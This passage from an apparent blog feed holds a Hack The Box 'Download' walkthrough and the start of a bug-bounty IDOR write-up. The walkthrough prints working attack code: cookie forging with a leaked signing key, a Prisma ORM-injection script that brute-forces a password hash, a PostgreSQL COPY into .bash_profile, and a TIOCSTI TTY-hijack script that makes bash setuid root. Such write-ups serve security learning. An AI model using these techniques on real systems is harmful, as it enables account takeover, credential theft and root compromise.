mod : { &quot;default&quot;: mod };<br>};<br>Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });<br>const express_1 = __importDefault(require(&quot;express&quot;));<br>const nunjucks_1 = __importDefault(require(&quot;nunjucks&quot;));<br>const path_1 = __importDefault(require(&quot;path&quot;));<br>const cookie_parser_1 = __importDefault(require(&quot;cookie-parser&quot;));<br>const cookie_session_1 = __importDefault(require(&quot;cookie-session&quot;));<br>const flash_1 = __importDefault(require(&quot;./middleware/flash&quot;));<br>const auth_1 = __importDefault(require(&quot;./routers/auth&quot;));<br>const files_1 = __importDefault(require(&quot;./routers/files&quot;));<br>const home_1 = __importDefault(require(&quot;./routers/home&quot;));<br>const client_1 = require(&quot;@prisma/client&quot;);<br>const app = (0, express_1.default)();<br>const port = 3000;<br>const client = new client_1.PrismaClient();<br>const env = nunjucks_1.default.configure(path_1.default.join(__dirname, &quot;views&quot;), {<br>    autoescape: true,<br>    express: app,<br>    noCache: true,<br>});<br>app.use((0, cookie_session_1.default)({<br>    name: &quot;download_session&quot;,<br>    keys: [&quot;8929874489719802418902487651347865819634518936754&quot;],<br>    maxAge: 7 * 24 * 60 * 60 * 1000,<br>}));<br>app.use(flash_1.default);<br>app.use(express_1.default.urlencoded({ extended: false }));<br>app.use((0, cookie_parser_1.default)());<br>app.use(&quot;/static&quot;, express_1.default.static(path_1.default.join(__dirname, &quot;static&quot;)));<br>app.get(&quot;/&quot;, (req, res) =&gt; {<br>    res.render(&quot;index.njk&quot;);<br>});<br>app.use(&quot;/files&quot;, files_1.default);<br>app.use(&quot;/auth&quot;, auth_1.default);<br>app.use(&quot;/home&quot;, home_1.default);<br>app.use(&quot;*&quot;, (req, res) =&gt; {<br>    res.render(&quot;error.njk&quot;, { statusCode: 404 });<br>});<br>app.listen(port, process.env.NODE_ENV === &quot;production&quot; ? &quot;127.0.0.1&quot; : &quot;0.0.0.0&quot;, () =&gt; {<br>    console.log(&quot;Listening on &quot;, port);<br>    if (process.env.NODE_ENV === &quot;production&quot;) {<br>        setTimeout(async () =&gt; {<br>            await client.$executeRawUnsafe(`COPY (SELECT &quot;User&quot;.username, sum(&quot;File&quot;.size) FROM &quot;User&quot; INNER JOIN &quot;File&quot; ON &quot;File&quot;.&quot;authorId&quot; = &quot;User&quot;.&quot;id&quot; GROUP BY &quot;User&quot;.username) TO &#39;/var/backups/fileusages.csv&#39; WITH (FORMAT csv);`);<br>        }, 300000);<br>    }<br>});</pre><p>This is the main code for the website. It shows other paths to different scripts and files. Importantly, it includes the secret for signing cookies. This could help find new users, as this <strong>key</strong> is likely crucial for cookie signing.</p><p><strong>home.js:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*CCiMIox4syMopvZhkJW4pA.jpeg" /></figure><pre><br>&quot;use strict&quot;;<br>var __importDefault = (this &amp;&amp; this.__importDefault) || function (mod) {<br>    return (mod &amp;&amp; mod.__esModule) ? mod : { &quot;default&quot;: mod };<br>};<br>Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });<br>const client_1 = require(&quot;@prisma/client&quot;);<br>const express_1 = __importDefault(require(&quot;express&quot;));<br>const auth_1 = __importDefault(require(&quot;../middleware/auth&quot;));<br>const client = new client_1.PrismaClient();<br>const router = express_1.default.Router();<br>router.get(&quot;/&quot;, auth_1.default, async (req, res) =&gt; {<br>    const files = await client.file.findMany({<br>        where: { author: req.session.user },<br>        select: {<br>            id: true,<br>            uploadedAt: true,<br>            size: true,<br>            name: true,<br>            private: true,<br>            authorId: true,<br>            author: {<br>                select: {<br>                    username: true,<br>                },<br>            },<br>        },<br>    });<br>    res.render(&quot;home.njk&quot;, { files });<br>});<br>exports.default = router;</pre><p>This code defines an Express route that, when accessed, queries a database for files associated with the currently authenticated user and renders an HTML view with the retrieved files. The <strong>auth</strong> middleware is likely used to ensure that only authenticated users can access this route.</p><p>Auth.js</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*W0NqXfyIf1Oxk18cAT0YEA.jpeg" /></figure><pre><br><br>&quot;use strict&quot;;<br>var __importDefault = (this &amp;&amp; this.__importDefault) || function (mod) {<br>    return (mod &amp;&amp; mod.__esModule) ? mod : { &quot;default&quot;: mod };<br>};<br>Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });<br>const client_1 = require(&quot;@prisma/client&quot;);<br>const express_1 = __importDefault(require(&quot;express&quot;));<br>const zod_1 = __importDefault(require(&quot;zod&quot;));<br>const node_crypto_1 = __importDefault(require(&quot;node:crypto&quot;));<br>const router = express_1.default.Router();<br>const client = new client_1.PrismaClient();<br>const hashPassword = (password) =&gt; {<br>    return node_crypto_1.default.createHash(&quot;md5&quot;).update(password).digest(&quot;hex&quot;);<br>};<br>const LoginValidator = zod_1.default.object({<br>    username: zod_1.default.string().min(6).max(64),<br>    password: zod_1.default.string().min(6).max(64),<br>});<br>router.get(&quot;/login&quot;, (req, res) =&gt; {<br>    res.render(&quot;login.njk&quot;);<br>});<br>router.post(&quot;/login&quot;, async (req, res) =&gt; {<br>    const result = LoginValidator.safeParse(req.body);<br>    if (!result.success) {<br>        res.flash(&quot;error&quot;, &quot;Your login details were invalid, please try again.&quot;);<br>        return res.redirect(&quot;/auth/login&quot;);<br>    }<br>    const data = result.data;<br>    const user = await client.user.findFirst({<br>        where: { username: data.username, password: hashPassword(data.password) },<br>    });<br>    if (!user) {<br>        res.flash(&quot;error&quot;, &quot;That username / password combination did not exist.&quot;);<br>        return res.redirect(&quot;/auth/register&quot;);<br>    }<br>    req.session.user = {<br>        id: user.id,<br>        username: user.username,<br>    };<br>    res.flash(&quot;success&quot;, &quot;You are now logged in.&quot;);<br>    return res.redirect(&quot;/home/&quot;);<br>});<br>router.get(&quot;/register&quot;, (req, res) =&gt; {<br>    res.render(&quot;register.njk&quot;);<br>});<br>const RegisterValidator = zod_1.default.object({<br>    username: zod_1.default.string().min(6).max(64),<br>    password: zod_1.default.string().min(6).max(64),<br>});<br>router.post(&quot;/register&quot;, async (req, res) =&gt; {<br>    const result = RegisterValidator.safeParse(req.body);<br>    if (!result.success) {<br>        res.flash(&quot;error&quot;, &quot;Your registration details were invalid, please try again.&quot;);<br>        return res.redirect(&quot;/auth/register&quot;);<br>    }<br>    const data = result.data;<br>    const existingUser = await client.user.findFirst({<br>        where: { username: data.username },<br>    });<br>    if (existingUser) {<br>        res.flash(&quot;error&quot;, &quot;There is already a user with that email address or username.&quot;);<br>        return res.redirect(&quot;/auth/register&quot;);<br>    }<br>    await client.user.create({<br>        data: {<br>            username: data.username,<br>            password: hashPassword(data.password),<br>        },<br>    });<br>    res.flash(&quot;success&quot;, &quot;Your account has been registered.&quot;);<br>    return res.redirect(&quot;/auth/login&quot;);<br>});<br>router.get(&quot;/logout&quot;, (req, res) =&gt; {<br>    if (req.session)<br>        req.session.user = null;<br>    res.flash(&quot;success&quot;, &quot;You have been successfully logged out.&quot;);<br>    return res.redirect(&quot;/auth/login&quot;);<br>});<br>exports.default = router;</pre><p>This code defines routes for user authentication (login, logout) and registration. It integrates Zod for input validation, Prisma for database interactions, and Express for routing in a Node.js web application.</p><h3>Forge Cookie</h3><p>With the tool <a href="https://github.com/DigitalInterruption/cookie-monster">cookie-monster</a>, we can generate and sign new cookies with the desired information. That is a utility for automating the testing and re-signing of Express.js cookie secrets.</p><p>We need to save our cookie in JSON format in a JSON file:</p><pre>cat alteredcookie.json                                                                                          <br>{&quot;flashes&quot;:{&quot;info&quot;:[],&quot;error&quot;:[],&quot;success&quot;:[]},&quot;user&quot;:{&quot;id&quot;:16,&quot;username&quot;:&quot;hackthebox&quot;}}</pre><p>Now I will sign it using ‘cookie-monster’:</p><pre>cookie-monster -e -k 8929874489719802418902487651347865819634518936754 -n download_session -f alteredcookie.json<br>               _  _<br>             _/0\/ \_<br>    .-.   .-` \_/\0/ &#39;-.<br>   /:::\ / ,_________,  \<br>  /\:::/ \  &#39;. (:::/  `&#39;-;<br>  \ `-&#39;`\ &#39;._ `&quot;&#39;&quot;&#39;\__    \<br>   `&#39;-.  \   `)-=-=(  `,   |<br>       \  `-&quot;`      `&quot;-`   /<br><br>[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoiaGFja3RoZWJveCJ9fQ==<br>[+] Signature Cookie: download_session.sig=GprO4Fw-v9zirJVAjAhW3YZvUQE</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5alvfGNawGZ66kDN7s1XrQ.jpeg" /><figcaption>cookie-monster</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cwuZwOBDSoYHLdUg6WLxpg.jpeg" /></figure><p>As you can see, the generated values with the <strong><em>cookie-monster</em></strong> utility are the same as our real cookies.</p><blockquote><strong>ORM Injection</strong></blockquote><p>let’s change the id to 1 and username to wesley:</p><pre>┌──(kali㉿kali)-[~/Desktop]<br>└─$ cat alteredcookie.json                                                                                                                     <br>{&quot;flashes&quot;:{&quot;info&quot;:[],&quot;error&quot;:[],&quot;success&quot;:[]},&quot;user&quot;:{&quot;id&quot;:1,&quot;username&quot;:&quot;wesley&quot;}}<br>                                                                                                                                                                                                                                            <br>┌──(kali㉿kali)-[~/Desktop]<br>└─$ /home/kali/.npm-global/bin/cookie-monster -e -k 8929874489719802418902487651347865819634518936754 -n download_session -f alteredcookie.json<br>               _  _<br>             _/0\/ \_<br>    .-.   .-` \_/\0/ &#39;-.<br>   /:::\ / ,_________,  \<br>  /\:::/ \  &#39;. (:::/  `&#39;-;<br>  \ `-&#39;`\ &#39;._ `&quot;&#39;&quot;&#39;\__    \<br>   `&#39;-.  \   `)-=-=(  `,   |<br>       \  `-&quot;`      `&quot;-`   /<br><br>[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MSwidXNlcm5hbWUiOiJ3ZXNsZXkifX0=<br>[+] Signature Cookie: download_session.sig=qQxQdv3ZjZbAddoDzP0zXSakQcI<br>                                                                                                                                                                                                                                            <br>┌──(kali㉿kali)-[~/Desktop]<br>└─$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cElP0dVRJxPq1nTtUsUhag.jpeg" /></figure><p>Let’s replace our old cookies with the newly generated cookies and navigate to the <strong>home</strong> page. As you can see, it works correctly and displays the <strong>Wesley</strong> username, but without any uploaded files. I think this is related to the corresponding username with the ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dJHXZ8hA5vt4cjXQa1bUCw.jpeg" /></figure><p>So, what occurs if I submit the cookie with an <strong>id=1</strong> and <strong>no username?</strong></p><pre>──(kali㉿kali)-[~/Desktop]<br>└─$ cat alteredcookie.json                                                                                                                     <br>{&quot;flashes&quot;:{&quot;info&quot;:[],&quot;error&quot;:[],&quot;success&quot;:[]},&quot;user&quot;:{&quot;id&quot;:1}}<br>                                                                                                                                                                                                                                            <br>┌──(kali㉿kali)-[~/Desktop]<br>└─$ /home/kali/.npm-global/bin/cookie-monster -e -k 8929874489719802418902487651347865819634518936754 -n download_session -f alteredcookie.json<br>               _  _<br>             _/0\/ \_<br>    .-.   .-` \_/\0/ &#39;-.<br>   /:::\ / ,_________,  \<br>  /\:::/ \  &#39;. (:::/  `&#39;-;<br>  \ `-&#39;`\ &#39;._ `&quot;&#39;&quot;&#39;\__    \<br>   `&#39;-.  \   `)-=-=(  `,   |<br>       \  `-&quot;`      `&quot;-`   /<br><br>[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MX19<br>[+] Signature Cookie: download_session.sig=L-CbUTci83X7NoHNhIVqKhBCSDg<br>                                                                                                                                                                                                                                            <br>┌──(kali㉿kali)-[~/Desktop]<br>└─$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nrCsMdg4QfP3lFYwFjPs3w.jpeg" /></figure><p>I am now observing files from user named WESLEY, indicating a successful impersonation of his account.</p><p>Let’s see what happens if we leave the user field empty:</p><pre>┌──(kali㉿kali)-[~/Desktop]<br>└─$ /home/kali/.npm-global/bin/cookie-monster -e -k 8929874489719802418902487651347865819634518936754 -n download_session -f alteredcookie.json<br>               _  _<br>             _/0\/ \_<br>    .-.   .-` \_/\0/ &#39;-.<br>   /:::\ / ,_________,  \<br>  /\:::/ \  &#39;. (:::/  `&#39;-;<br>  \ `-&#39;`\ &#39;._ `&quot;&#39;&quot;&#39;\__    \<br>   `&#39;-.  \   `)-=-=(  `,   |<br>       \  `-&quot;`      `&quot;-`   /<br><br>[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6e319<br>[+] Signature Cookie: download_session.sig=RdmrvnrBpzrS3slS77uG7Cuiv-Q</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O1Z8E8IfidYHFYOQSfg--w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*omMjfWdw3jFB-X1DJpf55g.jpeg" /></figure><p>There are numerous new users, and we can access all users’ files.</p><blockquote>Since the website uses <strong>Prisma Client</strong> to talk to the database, I started thinking about the chance of something called ORM injection through cookies.</blockquote><blockquote>In simple terms, ORM (which is just a way to handle databases) usually builds queries using specific methods. But, if the website doesn’t check or clean the information it gets from users before using it in these queries, we might be able to change some things and make the system do things it shouldn’t, even harmful stuff in the database.</blockquote><p>After going through <a href="https://www.prisma.io/docs/reference/api-reference/prisma-client-reference">Prisma documentation</a>, I discovered some functions we can use to get data from the database.</p><p>Although these functions are not specifically designed for data extraction, we can cleverly use some of them to gather information from the database.</p><p>Out of the many functions, I found one that caught my interest for experimentation. It’s called <strong>startsWith</strong>. This function checks and compares a character provided as an argument during the execution of the SQL query. If that works here, we can use that to brute force the password character by character.</p><p>To illustrate, we will conduct a test to try accessing files uploaded by all users whose usernames begin with the character “A”.</p><pre>──(kali㉿kali)-[~/Desktop]<br>└─$ cat alteredcookie.json                                                                                                                     <br>{&quot;flashes&quot;:{&quot;info&quot;:[],&quot;error&quot;:[],&quot;success&quot;:[]},&quot;user&quot;:{&quot;username&quot;:{&quot;startsWith&quot;:&quot;A&quot;}}}<br>                                                                                                                                                                                                                                            <br>┌──(kali㉿kali)-[~/Desktop]<br>└─$ /home/kali/.npm-global/bin/cookie-monster -e -k 8929874489719802418902487651347865819634518936754 -n download_session -f alteredcookie.json<br>               _  _<br>             _/0\/ \_<br>    .-.   .-` \_/\0/ &#39;-.<br>   /:::\ / ,_________,  \<br>  /\:::/ \  &#39;. (:::/  `&#39;-;<br>  \ `-&#39;`\ &#39;._ `&quot;&#39;&quot;&#39;\__    \<br>   `&#39;-.  \   `)-=-=(  `,   |<br>       \  `-&quot;`      `&quot;-`   /<br><br>[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJ1c2VybmFtZSI6eyJzdGFydHNXaXRoIjoiQSJ9fX0=<br>[+] Signature Cookie: download_session.sig=bI89MIMG1P226_VRwmajlBlSroA</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*qE0Sh09aqONW0PEmNH7Ehw.jpeg" /></figure><p>Now, we can see files uploaded by users whose usernames begin with the character ‘A’.</p><p>we can extract passwords using brute-force attack. As we noticed, the user WESLEY was mentioned as the author in the package.json file. It could be worthwhile to attempt extracting his password.</p><p><strong>Brute-force Script:</strong></p><pre>import requests<br>import json<br>import subprocess<br><br>password = &#39;&#39;<br>chars = &quot;abcdef0123456789&quot;<br><br>def generate(c):<br>    query = {&quot;user&quot;: {&quot;username&quot;: {&quot;contains&quot;: &quot;WESLEY&quot;}, &quot;password&quot;: {&quot;startsWith&quot;: password + c}}}<br>    with open(&quot;tempcookie.json&quot;, &quot;w&quot;) as f:<br>        f.write(json.dumps(query))<br><br>    output = subprocess.check_output([<br>        &quot;/home/kali/.npm-global/bin/cookie-monster&quot;,<br>        &quot;-e&quot;, &quot;-f&quot;, &quot;tempcookie.json&quot;,<br>        &quot;-k&quot;, &quot;8929874489719802418902487651347865819634518936754&quot;,<br>        &quot;-n&quot;, &quot;download_session&quot;<br>    ]).decode().replace(&quot;\n&quot;, &quot; &quot;)<br><br>    jwt = output.split(&quot;download_session=&quot;)[1].split(&quot; &quot;)[0].split(&quot;\x1b&quot;)[0]<br>    sig = output.split(&quot;download_session.sig=&quot;)[1].split(&quot;\x1b&quot;)[0]<br><br>    return jwt, sig<br><br>for i in range(32):<br>    for c in chars:<br>        test = password + c<br>        jwt, sig = generate(c)<br>        cookie = {&quot;download_session&quot;: jwt, &quot;download_session.sig&quot;: sig}<br>        r = requests.get(&#39;http://download.htb/home/&#39;, cookies=cookie)<br><br>        if len(r.text) != 2174:<br>            print(f&quot;Found char: {c}&quot;)<br>            password += c<br>            print(password)<br>            break<br><br>print(password)</pre><p>why chars = “<strong>abcdef0123456789</strong>”?</p><p>According to the auth.js file: The <strong>hashPassword</strong> function takes a password as input, applies the <strong>MD5</strong> hashing algorithm using the crypto module, and returns the resulting hash as a <strong>32-character</strong> hexadecimal string. In the login route, the hashPassword function is used to hash the provided password before querying the database. If a user with the given username and hashed password is found, it implies that the password in the database matches the hashed input. The characters consist of ‘a’ to ‘f’ in the alphabet and ‘<strong>0</strong>’ to ‘<strong>9</strong> in digits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yeuXxA6w3M4cJiAC7TcFnQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*tX_ZHh_CsObgVf_9K-6r2g.jpeg" /></figure><pre>┌──(kali㉿kali)-[~/Desktop]<br>└─$ python3 brute2.py <br>Found char: f<br>f<br>Found char: 8<br>f8<br>Found char: 8<br>f88<br>Found char: 9<br>f889<br>Found char: 7<br>f8897<br>Found char: 6<br>f88976<br>Found char: c<br>f88976c<br>Found char: 1<br>f88976c1<br>Found char: 0<br>f88976c10<br>Found char: a<br>f88976c10a<br>Found char: f<br>f88976c10af<br>Found char: 6<br>f88976c10af6<br>Found char: 6<br>f88976c10af66<br>Found char: 9<br>f88976c10af669<br>Found char: 1<br>f88976c10af6691<br>Found char: 5<br>f88976c10af66915<br>Found char: 9<br>f88976c10af669159<br>Found char: 1<br>f88976c10af6691591<br>Found char: 8<br>f88976c10af66915918<br>Found char: 9<br>f88976c10af669159189<br>Found char: 4<br>f88976c10af6691591894<br>Found char: 5<br>f88976c10af66915918945<br>Found char: b<br>f88976c10af66915918945b<br>Found char: 9<br>f88976c10af66915918945b9<br>Found char: 6<br>f88976c10af66915918945b96<br>Found char: 7<br>f88976c10af66915918945b967<br>Found char: 9<br>f88976c10af66915918945b9679<br>Found char: b<br>f88976c10af66915918945b9679b<br>Found char: 2<br>f88976c10af66915918945b9679b2<br>Found char: b<br>f88976c10af66915918945b9679b2b<br>Found char: d<br>f88976c10af66915918945b9679b2bd<br>Found char: 3<br>f88976c10af66915918945b9679b2bd3<br>f88976c10af66915918945b9679b2bd3</pre><p>Let’s try to crack this hash using <a href="https://crackstation.net/">crackstation</a>: (wesley:dunkindonuts)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ETzuRrKQphVdiyPINdIhA.jpeg" /><figcaption>crackstation</figcaption></figure><h3>User Flag</h3><p>With this, we can SSH into the machine as Wesley:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*WdTymUobmdkMA44Cb-zIiQ.jpeg" /><figcaption>user flag</figcaption></figure><p>And we do get the user flag.</p><h3>Privilege Escalation</h3><p><strong>netstat</strong> indicates a service running on port 5432, which is the default port for PostgreSQL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*lALUrnITHMsTMx6hN6ueuw.jpeg" /><figcaption>netstat</figcaption></figure><p>Let’s take a look at the Set-UID and Set-GID files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*SGXIeynMqRI0eSt6w_suQg.jpeg" /><figcaption>Set-UID and Set-GID files</figcaption></figure><p>There are no interesting files that we could abuse.</p><p>I intend to upload <strong>pspy</strong> to the victim machine for inspecting and examining processes and commands running on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*-Y1vTzx6e8Bhr8lPrFIcfw.jpeg" /><figcaption>scp</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*0nW0YnW-xVzScG8dUHf0jQ.jpeg" /><figcaption>pspy</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*muZzTTHN4CI_Zhr_AUKLAg.jpeg" /><figcaption>pspy</figcaption></figure><p>The root user is verifying the status of both the <strong>PostgreSQL service</strong> and the <strong>download-site service</strong>. The download-site service seems to be a custom service on the machine, making it worthwhile to investigate.</p><p>By checking the service configuration file found, we can find hardcoded credentials within it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*CCR-EFbK0RW-5Bvavfm-6Q.jpeg" /><figcaption>download-site.service</figcaption></figure><p>Let’s attempt to log in to the download database and interact with it:</p><p>show databases:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*e1ve-WpNUgB_LDMO9NH1lQ.jpeg" /><figcaption>postgreSQL</figcaption></figure><p>show tables:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*YXf1TLEAB-SL8cl23bunbw.jpeg" /><figcaption>tables</figcaption></figure><p>show columns of a table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-hsRDIMaoZCj7uxgFGa7bA.jpeg" /><figcaption>columns</figcaption></figure><p>By checking our permissions, we can see that we have the pg_write_server_files privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*iGSgHXjI_ARy-5HOB01b8g.jpeg" /><figcaption>permissions</figcaption></figure><p>By examining the user’s shell, we can observe that it is set to <strong>/bin/bash</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*o3qwvrmOB7Y0w9syMp5zXQ.jpeg" /><figcaption>bash</figcaption></figure><p>Let’s try to attempt to make</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*273z9LR_W2mQZqp8MpOV6Q.jpeg" /><figcaption>copy command</figcaption></figure><p>We do receive a connection back in our Python web server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*f4s_nxfzOB6i0rKfTZAGgg.jpeg" /><figcaption>connect back</figcaption></figure><h3>TTY Hijacking</h3><p>From the pspy output, we noticed that the root user switches to the <strong>postgres </strong>user. This creates an issue because, having access to the postgres user, we can exploit <strong>TTY hijacking</strong> to potentially gain root access. For a detailed guide on this, you can refer to this <a href="https://www.errno.fr/TTYPushback.html">link</a>.</p><p>Now, our goal is to craft an exploit. This exploit aims to obtain a copy of the root’s bash binary with root-level permissions. The command sequence is attempting to set the setuid bit (<strong>u+s</strong>) on the <strong>/bin/bash</strong> executable. This would make /bin/bash a setuid executable, allowing us to get root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*2m4bUK3LVedlGDszLQ6g4g.jpeg" /><figcaption>pspy</figcaption></figure><p><strong>Exploit Code:</strong></p><blockquote>This Python script, is designed to simulate manual command entry into the terminal using the <strong>ioctl</strong> system call with the <strong>TIOCSTI</strong> request, allowing the injection of characters into the terminal input queue. The command_sequence variable holds the specific commands exit and <strong>/bin/bash -c ‘chmod u+s /bin/bash’</strong>. The script iterates through each character in the command sequence, attempting to inject it into the terminal using <strong>ioctl</strong>, and printing an error message if the injection fails. When executed as the main program, this script serves the purpose of automating the input of predetermined commands into the terminal.</blockquote><pre>import fcntl<br>import os<br>import termios<br><br>def inject_commands():<br>    command_sequence = &quot;exit\n/bin/bash -c &#39;chmod u+s /bin/bash&#39;\n&quot;<br>    <br>    for char in command_sequence:<br>        try:<br>            ret = fcntl.ioctl(0, termios.TIOCSTI, char)<br>            if ret == -1:<br>                print(&quot;Error: ioctl()&quot;)<br>        except OSError as e:<br>            print(f&quot;Error: ioctl() - {e}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    inject_commands()</pre><blockquote><strong>TIOCSTI:</strong> It&#39;s an ioctl (input/output control) request used to simulate the typing of characters into the terminal. When this ioctl is called, it pushes a single character back into the input queue of the terminal. This can be used for injecting input as if it were typed by a user.</blockquote><blockquote>In the script, the fcntl.ioctl(0, termios.TIOCSTI, char) line attempts to inject each character of the command string into the terminal&#39;s input queue. This is a technique often used in scenarios like <strong>TTY hijacking</strong>, where an attacker wants to control the terminal input to execute specific commands.</blockquote><p>Let’s write our exploit.py to the <strong>.bash_profile</strong> of the PostgreSQL:</p><pre>download=&gt; COPY (SELECT &#39;python3 /dev/shm/exploit.py&#39;) TO &#39;/var/lib/postgresql/.bash_profile&#39;;<br>COPY 1<br>download=&gt; quit</pre><p>Now, We can run ‘<strong>bash -p</strong>’ to run commands as the root user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*owx0odlFVrXHBDXPdwMEMA.jpeg" /><figcaption>root flag</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c24122a2562a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/download-lfi-orm-injection-teletypewriter-tty-hijacking-postgresql-c24122a2562a">Download | LFI | ORM Injection | Teletypewriter (TTY) hijacking | PostgreSQL | NodeJS</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[$1800 Bounty: Exploiting Unpredictable Data that Leads to All Users PII Exposure in an IDOR…]]></title>
            <link>https://infosecwriteups.com/1800-bounty-exploiting-unpredictable-data-that-leads-to-all-users-pii-exposure-in-an-idor-5c2da7855a5a?source=rss-fbd07e5e30d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c2da7855a5a</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[white-hat-hacker]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Aydin Naserifard]]></dc:creator>
            <pubDate>Sat, 04 Nov 2023 10:11:43 GMT</pubDate>
            <atom:updated>2023-11-11T07:44:17.425Z</atom:updated>
            <content:encoded><![CDATA[<h3>$1800 Bounty: <em>Exploiting Unpredictable Data that Leads to All Users PII Exposure in an IDOR Vulnerability (Real-World)</em></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*qTX6eep568Ev26_bbrdZag.jpeg" /></figure><p><strong>Introduction</strong></p><p>The security of user data is paramount in web applications. However, vulnerabilities like Insecure Direct Object Reference (IDOR) can compromise data integrity. In this write-up, we delve into an IDOR vulnerability within the ‘v’ parameter of a real-world web application. I illustrate how I could exploit this vulnerability, leading to data disclosure of all users, and emphasize the need for robust security measures. It’s important to note that the ‘v’ parameter value is <strong>64 characters</strong> in length, making it unpredictable and lengthy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZ2qvu5uGEMTToIe25Gumg.jpeg" /><figcaption>The Request is vulnerable to IDOR</figcaption></figure><p><strong>Analyzing the ‘v’ Parameter:</strong></p><pre>vnntxrjonnnrtgxntkxtgyjyinvrmrzojygtnkxnugorqnjnzyjrirgirnittghn</pre><p>The pattern that I have discovered after analyzing the value:</p><pre>vnnt {xrjo} nnnr {tgx} ntkx {tgyj} yinvr {mrzo} jyg {tnkxn} ugor {qnjn} zyjr {irgirnittghn}</pre><blockquote>In this parameter, the constant parts within curly braces are as follows:<br>- {xrjo}<br>- {tgx}<br>- {tgyj}<br>- {mrzo}<br>- {tnkxn}<br>- {qnjn}<br>- {irgirnittghn}</blockquote><p>The changeable parts are the characters outside of the curly braces, which we can modify to exploit the vulnerability.</p><h3>Exploiting the Vulnerability</h3><p>To exploit the IDOR vulnerability, we can make partial and unpredictable changes outside the curly braces. This means altering only a few characters outside of the curly braces while keeping the constant parts within them intact. We can do this in different requests to access different user’s data.</p><p>Here’s an example of how I can randomly change portions of the<strong> ‘v’ </strong>parameter:</p><p><strong>Original ‘v’ parameter</strong>: “vnnt {xrjo} nnnr {tgx} ntkx {tgyj} yinvr {mrzo} jyg {tnkxn} ugor {qnjn} zyjr {irgirnittghn}”</p><blockquote>Some altered values of ‘v’ parameter:<br>1. `vnnt<strong> </strong>{xrjo}<strong> mqrn</strong> {tgx} ntkx {tgyj} yinvr {mrzo} jyg {tnkxn} ugor {qnjn} zyjr {irgirnittghn}`<br><strong>2. `qrnt</strong> {xrjo} nnnr {tgx} ntkx {tgyj} yinvr {mrzo} jyg {tnkxn} ugor {qnjn} zyjr {irgirnittghn}`<br><strong>3. `zyfr</strong> {xrjo} nnnr {tgx} ntkx {tgyj} yinvr {mrzo} jyg {tnkxn} ugor {qnjn} zyjr {irgirnittghn}`</blockquote><p>In each of these examples, only specific portions of the characters outside of the curly braces have been changed, while the rest remain unchanged.</p><p>Let’s use Intruder to automatically bruteforce these portions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*qYoxaiF-r_Wtx_BpM9717g.jpeg" /><figcaption>Intruder</figcaption></figure><p>I have also written a Python script to generate altered ‘v’ parameters:</p><pre>import random<br>import string<br># Original &#39;v&#39; parameter 